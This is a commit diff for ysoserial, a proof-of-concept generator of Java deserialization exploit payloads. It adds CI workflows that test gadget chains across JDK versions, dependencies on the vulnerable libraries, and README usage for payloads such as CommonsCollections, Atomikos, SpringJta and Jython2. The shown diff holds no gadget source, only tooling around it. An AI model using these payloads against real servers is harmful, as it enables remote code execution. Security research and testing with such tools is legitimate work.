skip tests for jar publish

* CommonsCollections8 payload (#116)

* New gadgets (Struts2JasperReports - Atomikos - SpringJta) (#123)

* added Atomikos gadget payload

* added Atomikos gadget payload

* naming

* added spring-jta gadget

* added strutsJasperReports gadget + tests

* updated deps list on springJta

* fixed authors

* renaming

* Add new payload in Commons Collections 3.2.1 (#125)

* Add Jython2 gadget (#135)

This version of Jython2 executes a command through os.system(). Based on Jython1 from @pwntester & @cschneider4711

Co-authored-by: Chris Frohoff <[email protected]>

* Add scala and clojure payloads from a couple of years ago (#137)

* Add some payloads for Scala

* Add new clojure payload effecting versions since 1.8.0

* Fix infinite loop behavior of clojure2 payload.

* add CommonsBeanutils2 (#163)

* ceylon gadget (#173)

Co-authored-by: navalorenzo <[email protected]>
Co-authored-by: Stefano Ciccone <[email protected]>
Co-authored-by: 梅子酒 <[email protected]>
Co-authored-by: Yorick Koster <[email protected]>
Co-authored-by: Ian Haken <[email protected]>
Co-authored-by: k4n5ha0 <[email protected]>
Co-authored-by: supersache <[email protected]>

.github/workflows/README.md

@@ -0,0 +1,14 @@
+Running with [nektos/act](nektos/act)
+=====================================
+Requires `HEAD` version of `act`
+```
+$ act --version
+act version HEAD-4d71071
+```
+
+`act -r --artifact-server-path /tmp/ -P ubuntu-latest=ghcr.io/catthehacker/ubuntu:full-latest`
+
+Known issues:
+- https://github.com/nektos/act/issues/910
+- https://github.com/nektos/act/issues/973
+- https://github.com/nektos/act/issues/284

.github/workflows/deploy.yml

@@ -0,0 +1,19 @@
+name: publish jar
+on: [push]
+
+jobs:
+  publish:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      packages: write
+    steps:
+      - uses: actions/checkout@v3
+      - uses: actions/setup-java@v3
+        with:
+          java-version: '8'
+          distribution: 'adopt'
+      - name: Publish package
+        run: mvn -B clean deploy -DskipTests -DrepositoryId=github -Dversion=${GITHUB_REF_NAME}-SNAPSHOT
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/results.py

@@ -0,0 +1,70 @@
+import itertools
+import json
+import operator
+import re
+import sys
+
+import subprocess
+
+import pytablewriter
+
+# try:
+#     import pytablewriter
+# except:
+#     subprocess.check_call(['pip', 'install', 'pytablewriter'])
+#     import pytablewriter
+
+def ver(v):
+    return v.split(".", 1)[1] if v.startswith("1.") else v
+
+def status(s):
+    return ':green_circle:' if s == 'SUCCESS' else ':red_square:'
+
+
+if len(sys.argv) > 1:
+    with open(sys.argv[1]) as f:
+        data = [json.loads(line) for line in f.readlines()]
+else:
+    data = [json.loads(line) for line in sys.stdin.readlines()]
+
+for da in data:
+    del da['out']
+
+# print(repr(data))
+
+GET_VER = operator.itemgetter('java.version')
+GET_PAY = operator.itemgetter('payload')
+
+by_payload = {payload:
+                {ver(version): list(o2)[0]['status']
+                for version, o2 in itertools.groupby(sorted(o1, key=GET_VER), GET_VER)}
+                for payload, o1 in itertools.groupby(sorted(data, key=GET_PAY), GET_PAY)}
+
+by_version = {ver(version):
+                {payload: list(o2)[0]['status']
+                 for payload, o2 in itertools.groupby(sorted(o1, key=GET_PAY), GET_PAY)}
+                 for version, o1 in itertools.groupby(sorted(data, key=GET_VER), GET_VER)}
+
+sorted_ver = sorted(by_version.items(), key=lambda v: list(map(int, re.split(r'[._]', v[0]))))
+
+ver_groups = [list(v for v, r in vers) for res, vers in itertools.groupby(sorted_ver, operator.itemgetter(1))]
+
+ver_ranges = [[vs[0], vs[-1]] for vs in ver_groups]
+
+
+# print('\n'.join(repr(v) for v in ver_groups))
+#
+# print(repr(by_payload))
+# print(repr(by_version))
+
+vers = list(list(by_payload.items())[0][1].keys())
+
+# print(vers)
+
+md = pytablewriter.MarkdownTableWriter()
+md.table_name = ''
+md.header_list = [''] + ['{} - {}'.format(vs, ve) if vs != ve else vs for vs, ve in ver_ranges]
+md.value_matrix = [[p] + [status(o[vs]) for vs, ve in ver_ranges] for p, o in sorted(by_payload.items())]
+md.margin = 1
+
+md.write_table()

.github/workflows/test.yml

@@ -0,0 +1,121 @@
+# https://michaelheap.com/dynamic-matrix-generation-github-actions/
+
+name: test
+on: [push]
+jobs:
+  # TODO cache build output by commit
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - if: ${{ env.ACT }} # act workaround
+        run: sudo chown -R runner:runner /var/run/act
+
+      - uses: actions/checkout@v2
+
+      - if: ${{ env.ACT }} # act workaround
+        run: sudo chown -R runner:runner .
+
+      - uses: actions/setup-java@v2
+        with:
+          java-version: 8
+          distribution: adopt
+
+      - if: ${{ !env.ACT }} # use -r with act
+        uses: actions/cache@v2
+        with:
+          path: ~/.m2/repository
+          key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }}
+          restore-keys: |
+            ${{ runner.os }}-maven-
+
+      - run: mvn -B clean package -DskipTests
+
+      - uses: actions/upload-artifact@v3
+        with:
+          name: jar
+          path: target/ysoserial-*-all.jar
+
+  set-matrix:
+    runs-on: ubuntu-latest
+    container: dwdraju/alpine-curl-jq
+    steps:
+      - id: get-versions
+        run: |
+          URL="https://hub.docker.com/v2/repositories/vulhub/java/tags/?page_size=100"
+          VERSIONS=$(curl -s $URL "$URL&page=2" | jq -rc '[[.results[].name] | _nwise(1) | join(" ")]')
+          echo "::set-output name=versions::$VERSIONS"
+    outputs:
+      versions: ${{ steps.get-versions.outputs.versions }}
+
+  run-java:
+    needs:
+      - set-matrix
+      - build
+    strategy:
+      matrix:
+        version: ${{ fromJson(needs.set-matrix.outputs.versions) }} # broken in act
+#        version: [7u21-jdk 7u25-jdk, 7u40-jdk]
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/download-artifact@v3
+        with:
+          name: jar
+          path: jar
+      - run: mv jar/ysoserial-*-all.jar jar/ysoserial.jar
+      - run: |
+          touch out.txt
+          for v in ${{ matrix.version }}; do
+            echo running $v
+            docker pull vulhub/java:$v
+            docker run --rm -v $(pwd):/app vulhub/java:$v java -cp '/app/jar/ysoserial.jar' -DforceTests=true ysoserial.test.payloads.PayloadsTest >> out.txt
+          done
+      - uses: actions/upload-artifact@v3
+        if: always()
+        with:
+          name: out-${{ matrix.version }}
+          path: out.txt
+
+  analyze:
+    needs: run-java
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v2
+      - uses: actions/download-artifact@v3
+        with:
+          path: artifacts
+      - run: cat artifacts/out*/*.txt > out.txt
+      - run: pip install pytablewriter
+      - run: cat out.txt | python .github/workflows/results.py > matrix.md
+      - uses: actions/upload-artifact@v3
+        with:
+          name: out
+          path: out.txt
+      - uses: actions/upload-artifact@v3
+        with:
+          name: matrix
+          path: matrix.md
+
+  update-wiki:
+    needs: analyze
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v2
+        with:
+          repository: ${{github.repository}}.wiki
+      - uses: actions/download-artifact@v3
+        with:
+          name: matrix
+      - uses: actions/download-artifact@v3
+        with:
+          name: out
+      - run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git add matrix.md
+          git add out.txt
+          git commit -m "Add changes"
+      - uses: ad-m/github-push-action@master
+        with:
+          repository: ${{github.repository}}.wiki
+          branch: master
+          github_token: ${{ secrets.GITHUB_TOKEN }}

.travis.yml

@@ -4,17 +4,46 @@ language: java
 cache:
   directories:
   - $HOME/.m2
+  - $HOME/.mvn/
 
-# Travis CI provides OpenJDK 6, OpenJDK 7, Oracle JDK 7, and Oracle JDK 8.
+# jdk6 requires workarounds https://github.com/travis-ci/travis-ci/issues/9713
-# Sun JDK 6 is not provided, because it is EOL as of November 2012.
+addons:
-# OpenJDK 8 is available on our Trusty images, specify dist: trusty to make use of it.
+  apt:
-jdk:
+    packages:
-  - oraclejdk8    
+      - openjdk-6-jdk
-  #- oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
+
-  - openjdk8
+before_install:
-  - openjdk7
+  - > # install mvn 3.2.5 for use with java6
-  #- openjdk6 #https://github.com/travis-ci/travis-ci/issues/8199
+      which $HOME/.mvn/3.2.5/bin/mvn || mkdir -p $HOME/.mvn/3.2.5 &&
+      curl https://apache.osuosl.org/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz |
+      tar xz -C $HOME/.mvn/3.2.5 --strip-components=1
+  - if [ "$TRAVIS_JDK_VERSION" == "openjdk6" ]; then jdk_switcher use openjdk6; fi
+  - mvn -v
+
+after_script:
+  - > # print more detailed info about test results
+      cat target/surefire-reports/TEST-ysoserial.test.payloads.PayloadsTest.xml |
+      grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- --
 
 matrix:
+  fast_finish: true
   allow_failures:
-  - jdk: openjdk7
+    - jdk: oraclejdk11
+    - jdk: openjdk6
+    - jdk: openjdk7
+    - jdk: openjdk9
+    - jdk: openjdk10
+    - jdk: openjdk11
+  include:
+    #- jdk: oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
+    - jdk: oraclejdk8
+    - jdk: oraclejdk11
+    - jdk: openjdk6
+      env: PATH=$HOME/.mvn/3.2.5/bin:$PATH
+    - jdk: openjdk7
+    - jdk: openjdk8
+    - jdk: openjdk9
+    - jdk: openjdk10
+    - jdk: openjdk11
+
+

Dockerfile

@@ -4,6 +4,7 @@ WORKDIR /app
 
 # download artifacts
 COPY pom.xml .
+COPY assembly.xml .
 RUN mvn dependency:resolve
 RUN mvn verify
 RUN mvn compiler:help

README.md

@@ -4,9 +4,9 @@
 [![Join the chat at https://gitter.im/frohoff/ysoserial](
     https://badges.gitter.im/frohoff/ysoserial.svg)](
     https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
-[![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](
+[![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg)](
     https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
-[![Travis Build Status](https://api.travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
+[![Travis Build Status](https://api.travis-ci.com/frohoff/ysoserial.svg?branch=master)](https://travis-ci.com/frohoff/ysoserial)
 [![Appveyor Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
 
 A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
@@ -17,7 +17,7 @@ A proof-of-concept tool for generating payloads that exploit unsafe Java object
 
 Originally released as part of AppSecCali 2015 Talk
 ["Marshalling Pickles: how deserializing objects will ruin your day"](
-        http://frohoff.github.io/appseccali-marshalling-pickles/)
+        https://frohoff.github.io/appseccali-marshalling-pickles/)
 with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x).
 Later updated to include additional gadget chains for
 [JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and several other libraries.
@@ -43,39 +43,46 @@ are not responsible or liable for misuse of the software. Use responsibly.
 ```shell
 $  java -jar ysoserial.jar
 Y SO SERIAL?
-Usage: java -jar ysoserial.jar [payload] '[command]'
+Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
   Available payload types:
-     Payload             Authors                     Dependencies
+     Payload              Authors                                Dependencies                                                                                                                                                                                        
-     -------             -------                     ------------
+     -------              -------                                ------------                                                                                                                                                                                        
-     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
+     Atomikos             @pwntester, @sciccone                  transactions-osgi:4.0.6, jta:1.1                                                                                                                                                                    
-     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
+     BeanShell1           @pwntester, @cschneider4711            bsh:2.0b5                                                                                                                                                                                           
-     Clojure             @JackOfMostTrades           clojure:1.8.0
+     C3P0                 @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11                                                                                                                                                           
-     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
+     Clojure              @JackOfMostTrades                      clojure:1.8.0                                                                                                                                                                                       
-     CommonsCollections1 @frohoff                    commons-collections:3.1
+     CommonsBeanutils1    @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2                                                                                                                               
-     CommonsCollections2 @frohoff                    commons-collections4:4.0
+     CommonsCollections1  @frohoff                               commons-collections:3.1                                                                                                                                                                             
-     CommonsCollections3 @frohoff                    commons-collections:3.1
+     CommonsCollections2  @frohoff                               commons-collections4:4.0                                                                                                                                                                            
-     CommonsCollections4 @frohoff                    commons-collections4:4.0
+     CommonsCollections3  @frohoff                               commons-collections:3.1                                                                                                                                                                             
-     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
+     CommonsCollections4  @frohoff                               commons-collections4:4.0                                                                                                                                                                            
-     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
+     CommonsCollections5  @matthias_kaiser, @jasinner            commons-collections:3.1                                                                                                                                                                             
-     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
+     CommonsCollections6  @matthias_kaiser                       commons-collections:3.1                                                                                                                                                                             
-     Groovy1             @frohoff                    groovy:2.3.9
+     CommonsCollections7  @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1                                                                                                                                                                             
-     Hibernate1          @mbechler
+     FileUpload1          @mbechler                              commons-fileupload:1.3.1, commons-io:2.4                                                                                                                                                            
-     Hibernate2          @mbechler
+     Groovy1              @frohoff                               groovy:2.3.9                                                                                                                                                                                        
-     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
+     Hibernate1           @mbechler                                                                                                                                                                                                                                  
-     JRMPClient          @mbechler
+     Hibernate2           @mbechler                                                                                                                                                                                                                                  
-     JRMPListener        @mbechler
+     JBossInterceptors1   @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                            
-     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
+     JRMPClient           @mbechler                                                                                                                                                                                                                                  
-     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
+     JRMPListener         @mbechler                                                                                                                                                                                                                                  
-     Jdk7u21             @frohoff
+     JSON1                @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
-     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
+     JavassistWeld1       @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                                        
-     MozillaRhino1       @matthias_kaiser            js:1.7R2
+     Jdk7u21              @frohoff                                                                                                                                                                                                                                   
-     Myfaces1            @mbechler
+     Jython1              @pwntester, @cschneider4711            jython-standalone:2.5.2                                                                                                                                                                             
-     Myfaces2            @mbechler
+     MozillaRhino1        @matthias_kaiser                       js:1.7R2                                                                                                                                                                                            
-     ROME                @mbechler                   rome:1.0
+     MozillaRhino2        @_tint0                                js:1.7R2                                                                                                                                                                                            
-     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
+     Myfaces1             @mbechler                                                                                                                                                                                                                                  
-     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
+     Myfaces2             @mbechler                                                                                                                                                                                                                                  
-     URLDNS              @gebl
+     ROME                 @mbechler                              rome:1.0                                                                                                                                                                                            
-     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4
+     Spring1              @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE                                                                                                                                               
+     Spring2              @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2                                                                                                           
+     SpringJta            @zerothoughts, @sciccone               spring-tx:5.1.7.RELEASE, spring-context:5.1.7.RELEASE, jta:1.1                                                                                                                                      
+     Struts2JasperReports @sciccone                              struts2-core:2.5.20, struts2-jasperreports-plugin:2.5.20                                                                                                                                            
+     URLDNS               @gebl                                                                                                                                                                                                                                      
+     Vaadin1              @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14                                                                                                                                                          
+     Wicket1              @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4                                                                                                                                                                
+
 ```
 
 ## Examples
@@ -100,7 +107,7 @@ $ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 Common
 
 1. Download the latest jar from
 [JitPack](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
-[![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](
+[![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg)](
     https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
 
 Note that GitHub-hosted releases were removed in compliance with the

appveyor.yml

@@ -10,7 +10,9 @@ skip_tags: true
 environment:
   matrix:
     - JAVA_HOME: C:\Program Files\Java\jdk1.6.0
+      M2_HOME: C:\bin\apache-maven-3.2.5
     - JAVA_HOME: C:\Program Files\Java\jdk1.7.0
+      MAVEN_OPTS: -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2
     - JAVA_HOME: C:\Program Files\Java\jdk1.8.0
 
 matrix:
@@ -20,17 +22,19 @@ matrix:
 
 # install required tools (maven, secure-file, encrypted files)
 install:
+  - cmd: if not exist "C:\bin\apache-maven-3.2.5\bin\*.*" cinst maven --version 3.2.5 --allow-empty-checksums
   - cmd: echo %JAVA_HOME%
   - cmd: echo %M2_HOME%
 
 # build and install artifacts
 build_script:
-  - mvn clean install -DskipTests
+  - '"%M2_HOME%\bin\mvn" clean install -DskipTests'
 
 # verify artifacts
 test_script:
-  - mvn test
+  - '"%M2_HOME%\bin\mvn" test'
 
 # preserve dependencies between builds
 cache:
   - C:\Users\appveyor\.m2
+  - C:\bin\apache-maven-3.2.5

assembly.xml

@@ -0,0 +1,28 @@
+<assembly
+    xmlns="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3"
+    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+    xsi:schemaLocation="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3 http://maven.apache.org/xsd/assembly-1.1.3.xsd">
+    <id>fat-tests</id>
+    <formats>
+        <format>jar</format>
+    </formats>
+    <includeBaseDirectory>false</includeBaseDirectory>
+    <dependencySets>
+        <dependencySet>
+            <outputDirectory>/</outputDirectory>
+            <useProjectArtifact>true</useProjectArtifact>
+            <unpack>true</unpack>
+            <scope>test</scope>
+        </dependencySet>
+    </dependencySets>
+    <fileSets>
+        <fileSet>
+            <directory>${project.build.directory}/test-classes</directory>
+            <outputDirectory>/</outputDirectory>
+            <includes>
+                <include>**/*.class</include>
+            </includes>
+            <useDefaultExcludes>true</useDefaultExcludes>
+        </fileSet>
+    </fileSets>
+</assembly>

pom.xml

@@ -39,10 +39,8 @@
 							<mainClass>ysoserial.GeneratePayload</mainClass>
 						</manifest>
 					</archive>
-					<descriptorRefs>
+                    <descriptor>assembly.xml</descriptor>
-						<descriptorRef>jar-with-dependencies</descriptorRef>
+                </configuration>
-					</descriptorRefs>
-				</configuration>
 				<executions>
 					<execution>
 						<id>make-assembly</id>
@@ -56,12 +54,11 @@
 			<plugin>
 		        <groupId>org.apache.maven.plugins</groupId>
 		        <artifactId>maven-surefire-plugin</artifactId>
-                <version>2.20</version>
+                <version>3.0.0-M1</version>
 		        <configuration>
-                    <rerunFailingTestsCount>2</rerunFailingTestsCount> <!-- for flaky Wicket1 test -->
 			        <trimStackTrace>false</trimStackTrace>
 			        <systemPropertyVariables>
-			        	    <java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
+			        	<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
 			        </systemPropertyVariables>
 		        </configuration>
 		    </plugin>
@@ -72,7 +69,7 @@
 		<repository>
 			<id>jenkins</id>
 			<layout>default</layout>
-			<url>http://repo.jenkins-ci.org/public/</url>
+			<url>https://repo.jenkins-ci.org/public/</url>
 		</repository>
 	</repositories>
 
@@ -105,7 +102,6 @@
 			<scope>test</scope>
 		</dependency>
 
-
 		<!-- non-gadget dependencies -->
 
 		<dependency>
@@ -116,7 +112,7 @@
 		<dependency>
 			<groupId>org.jboss.shrinkwrap.resolver</groupId>
 			<artifactId>shrinkwrap-resolver-depchain</artifactId>
-			<version>2.1.1</version>
+			<version>2.2.6</version>
 			<type>pom</type>
 		</dependency>
 		<dependency>
@@ -124,11 +120,21 @@
 			<artifactId>javassist</artifactId>
 			<version>3.19.0-GA</version>
 		</dependency>
+		<dependency>
+			<groupId>com.nqzero</groupId>
+			<artifactId>permit-reflect</artifactId>
+			<version>0.3</version>
+		</dependency>
 		<dependency>
 			<groupId>commons-codec</groupId>
 			<artifactId>commons-codec</artifactId>
 			<version>1.9</version>
 		</dependency>
+        <dependency>
+            <groupId>commons-io</groupId>
+            <artifactId>commons-io</artifactId>
+            <version>2.6</version>
+        </dependency>
 		<dependency>
 			<artifactId>remoting</artifactId>
 			<groupId>org.jenkins-ci.main</groupId>
@@ -229,7 +235,7 @@
 			<artifactId>commons-fileupload</artifactId>
 			<version>1.3</version>
 		</dependency>
-		<dependency>
+        <dependency>
 			<groupId>org.apache.wicket</groupId>
 			<artifactId>wicket-util</artifactId>
 			<version>6.23.0</version>
@@ -270,9 +276,9 @@
 			<version>1.7R2</version>
 		</dependency>
 		<dependency>
-		<groupId>javassist</groupId>
+			<groupId>javassist</groupId>
-		<artifactId>javassist</artifactId>
+			<artifactId>javassist</artifactId>
-		<version>3.12.0.GA</version>
+			<version>3.12.0.GA</version>
 		</dependency>
 		<dependency>
 			<groupId>org.jboss.weld</groupId>
@@ -304,14 +310,117 @@
 			<artifactId>slf4j-api</artifactId>
 			<version>1.7.21</version>
 		</dependency>
+        <dependency>
+            <groupId>org.slf4j</groupId>
+            <artifactId>slf4j-jdk14</artifactId>
+            <version>1.7.21</version>
+        </dependency>
 		<dependency>
 			<groupId>org.clojure</groupId>
 			<artifactId>clojure</artifactId>
 			<version>1.8.0</version>
 		</dependency>
+		<dependency>
+			<groupId>com.vaadin</groupId>
+			<artifactId>vaadin-server</artifactId>
+			<version>7.7.14</version>
+		</dependency>
+        <dependency>
+            <groupId>org.scala-lang</groupId>
+            <artifactId>scala-library</artifactId>
+            <version>2.12.6</version>
+        </dependency>
+		<dependency>
+    		<groupId>com.atomikos</groupId>
+    		<artifactId>transactions-jta</artifactId>
+    		<version>4.0.6</version>
+		</dependency>
+        <dependency>
+            <groupId>com.atomikos</groupId>
+            <artifactId>transactions-api</artifactId>
+            <version>4.0.6</version>
+        </dependency>
+        <dependency>
+            <groupId>com.atomikos</groupId>
+            <artifactId>atomikos-util</artifactId>
+            <version>4.0.6</version>
+        </dependency>
+		<dependency>
+      		<groupId>org.springframework</groupId>
+      		<artifactId>spring-tx</artifactId>
+      		<version>5.1.7.RELEASE</version>
+    	</dependency>
+    	<dependency>
+      		<groupId>org.springframework</groupId>
+      		<artifactId>spring-context</artifactId>
+      		<version>5.1.7.RELEASE</version>
+    	</dependency>
+    	<dependency>
+    		<groupId>org.apache.struts</groupId>
+    		<artifactId>struts2-core</artifactId>
+    		<version>2.5.20</version>
+		</dependency>
+		<dependency>
+    		<groupId>org.apache.struts</groupId>
+    		<artifactId>struts2-jasperreports-plugin</artifactId>
+    		<version>2.5.20</version>
+		</dependency>
+
+        <dependency>
+            <groupId>org.aspectj</groupId>
+            <artifactId>aspectjweaver</artifactId>
+            <version>1.9.5</version>
+        </dependency>
+        <dependency>
+            <groupId>org.apache.click</groupId>
+            <artifactId>click-nodeps</artifactId>
+            <version>2.3.0</version>
+        </dependency>
+	<dependency>
+	    <groupId>org.ceylon-lang</groupId>
+	    <artifactId>ceylon.language</artifactId>
+	    <version>1.3.3</version>
+	</dependency>
 	</dependencies>
 
 	<profiles>
+        <profile>
+            <id>jdk6</id>
+            <activation>
+                <jdk>1.6</jdk>
+            </activation>
+            <build>
+                <plugins>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-surefire-plugin</artifactId>
+                        <version>2.22.1</version>
+                    </plugin>
+                </plugins>
+            </build>
+            <dependencies>
+                <dependency>
+                    <groupId>javax.el</groupId>
+                    <artifactId>javax.el-api</artifactId>
+                    <version>3.0.0</version>
+                </dependency>
+            </dependencies>
+            <!-- workaround for non-overlapping TLS versions in JDK6 and central repo
+             https://central.sonatype.org/articles/2018/May/04/discontinued-support-for-tlsv11-and-below/ -->
+            <repositories>
+                <repository>
+                    <id>repo1</id>
+                    <url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->
+                </repository>
+            </repositories>
+            <pluginRepositories>
+                <pluginRepository>
+                    <id>repo1</id>
+                    <url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->
+                </pluginRepository>
+            </pluginRepositories>
+        </profile>
+
 		<profile>
 			<id>hibernate5</id>
 			<activation>
@@ -325,6 +434,11 @@
 					<artifactId>hibernate-core</artifactId>
 					<version>5.0.7.Final</version>
 				</dependency>
+                <dependency>
+                    <groupId>javax.el</groupId>
+                    <artifactId>javax.el-api</artifactId>
+                    <version>3.0.0</version>
+                </dependency>
 			</dependencies>
 		</profile>
 
@@ -369,4 +483,11 @@
 		</profile>
 
 	</profiles>
+    <distributionManagement>
+        <repository>
+            <id>github</id>
+            <name>GitHub Packages</name>
+            <url>https://maven.pkg.github.com/frohoff/ysoserial</url>
+        </repository>
+    </distributionManagement>
 </project>

src/main/java/ysoserial/GeneratePayload.java

@@ -3,7 +3,6 @@ package ysoserial;
 import java.io.PrintStream;
 import java.util.*;
 
-import ysoserial.payloads.ExtendedObjectPayload;
 import ysoserial.payloads.ObjectPayload;
 import ysoserial.payloads.ObjectPayload.Utils;
 import ysoserial.payloads.annotation.Authors;
@@ -15,12 +14,12 @@ public class GeneratePayload {
 	private static final int USAGE_CODE = 64;
 
 	public static void main(final String[] args) {
-		if (args.length < 2) {
+		if (args.length != 2) {
 			printUsage();
 			System.exit(USAGE_CODE);
 		}
 		final String payloadType = args[0];
-		final String[] command = Arrays.copyOfRange(args, 1, args.length);
+		final String command = args[1];
 
 		final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
 		if (payloadClass == null) {
@@ -32,21 +31,10 @@ public class GeneratePayload {
 
 		try {
 			final ObjectPayload payload = payloadClass.newInstance();
-			final Object object;
+			final Object object = payload.getObject(command);
-			if (payload instanceof ExtendedObjectPayload) {
-				ExtendedObjectPayload extended_payload = (ExtendedObjectPayload) payload;
-				object = extended_payload.getObject(command);
-			}
-			else {
-				if (command.length > 1) {
-					System.err.println("The payload '" + payloadType + "' does not support arguments");
-				}
-				object = payload.getObject(command[0]);
-			}
-			
 			PrintStream out = System.out;
 			Serializer.serialize(object, out);
-			ObjectPayload.Utils.releasePayload(payload, object);
+			ObjectPayload.Utils.postSerializeRelease(payload, object);
 		} catch (Throwable e) {
 			System.err.println("Error while generating or serializing payload");
 			e.printStackTrace();
@@ -57,7 +45,7 @@ public class GeneratePayload {
 
 	private static void printUsage() {
 		System.err.println("Y SO SERIAL?");
-		System.err.println("Usage: java -jar ysoserial-[version]-all.jar payload  [arguments ...]");
+		System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
 		System.err.println("  Available payload types:");
 
 		final List<Class<? extends ObjectPayload>> payloadClasses =

src/main/java/ysoserial/Strings.java

@@ -1,9 +1,6 @@
 package ysoserial;
 
-import java.util.Arrays;
+import java.util.*;
-import java.util.Comparator;
-import java.util.LinkedList;
-import java.util.List;
 
 public class Strings {
     public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
@@ -19,10 +16,6 @@ public class Strings {
         return sb.toString();
     }
 
-	public static String join(Iterable<String> strings, String sep) {
-		return Strings.join(strings, sep, null, null);
-	}
-
     public static String repeat(String str, int num) {
         final String[] strs = new String[num];
         Arrays.fill(strs, str);
@@ -50,19 +43,6 @@ public class Strings {
         }
         return lines;
     }
-    
-    public static String escapeJavaString(String str) {
-        return str.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\""); 
-    }
-    
-    public static String[] escapeJavaStrings(String[] strs) {
-        String[] res = new String[strs.length];
-        for (int i = 0; i < res.length; i++) {
-            res[i] = escapeJavaString(strs[i]);
-        }
-        return res;     
-    }
-    
 
     public static class ToStringComparator implements Comparator<Object> {
         public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }

src/main/java/ysoserial/exploit/JBoss.java

@@ -64,6 +64,7 @@ import org.xnio.ssl.JsseXnioSsl;
 import org.xnio.ssl.XnioSsl;
 
